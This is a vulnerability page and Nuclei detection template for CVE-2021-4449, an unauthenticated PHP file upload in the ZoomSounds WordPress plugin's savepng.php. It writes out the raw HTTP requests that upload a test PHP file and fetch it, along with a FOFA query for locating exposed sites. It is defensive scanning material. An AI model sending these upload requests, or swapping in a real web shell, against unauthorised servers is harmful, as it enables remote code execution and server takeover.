ZoomSounds Plugin - Unauthenticated Arbitrary File Upload

criticalseverity

9.8CVSS score

5.4%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

ZoomSounds plugin for WordPress contains a file upload vulnerability in savepng.php

Impact

Unauthenticated attackers can upload arbitrary PHP files via savepng.php without authentication or validation, achieving remote code execution and complete server compromise.

Fix

Upgrade to ZoomSounds plugin version that addresses the file upload vulnerability.

How to confirm it

Send: GET /wp-content/plugins/dzs-zoomsounds/savepng.php
Positive when: status 200
Send: POST /wp-content/plugins/dzs-zoomsounds/savepng.php?location={{rand_filename}}.php
Positive when: status_code == 200 and contains(body, "{{rand_filename}}")
Send: GET /wp-content/plugins/dzs-zoomsounds/{{rand_filename}}.php
Positive when: status_code == 200 and contains(body, "{{md5(string)}}")

Run it with nuclei: nuclei -id CVE-2021-4449 -u <target>

The full check

id: CVE-2021-4449

info:
  name: ZoomSounds Plugin - Unauthenticated Arbitrary File Upload
  author: 0xnemian
  severity: critical
  description: |
    ZoomSounds plugin for WordPress contains a file upload vulnerability in savepng.php
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files via savepng.php without authentication or validation, achieving remote code execution and complete server compromise.
  remediation: |
    Upgrade to ZoomSounds plugin version that addresses the file upload vulnerability.
  reference:
    - https://wpscan.com/vulnerability/07259a61-8ba9-4dd0-8d52-cc1df389c0ad
    - https://codecanyon.net/item/zoomsounds-wordpress-wave-audio-player-with-playlist/6181433
    - https://github.com/0xAgun/Arbitrary-File-Upload-ZoomSounds
    - https://ithemes.com/blog/wordpress-vulnerability-report-june-2021-part-5/#ib-toc-anchor-2
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/262e3bb3-bc83-4d0b-8056-9f94ec141b8f?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-4449
    cwe-id: CWE-434
    epss-score: 0.05394
    epss-percentile: 0.92742
    cpe: cpe:2.3:a:digitalzoomstudio:zoomsounds:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    fofa-query: body="/wp-content/plugins/dzs-zoomsounds/"
    max-request: 3
    vendor: digitalzoomstudio
    product: zoomsounds
    framework: wordpress
  tags: cve,cve2021,wpscan,wp,zoomsounds,intrusive,file-upload,vkev,vuln

variables:
  rand_filename: "{{to_lower(rand_base(8))}}"
  string: "CVE-2021-4449"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/dzs-zoomsounds/savepng.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /wp-content/plugins/dzs-zoomsounds/savepng.php?location={{rand_filename}}.php HTTP/1.1
        Host: {{Hostname}}

        <?php echo md5("{{string}}");?>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{rand_filename}}")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/dzs-zoomsounds/{{rand_filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{md5(string)}}")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from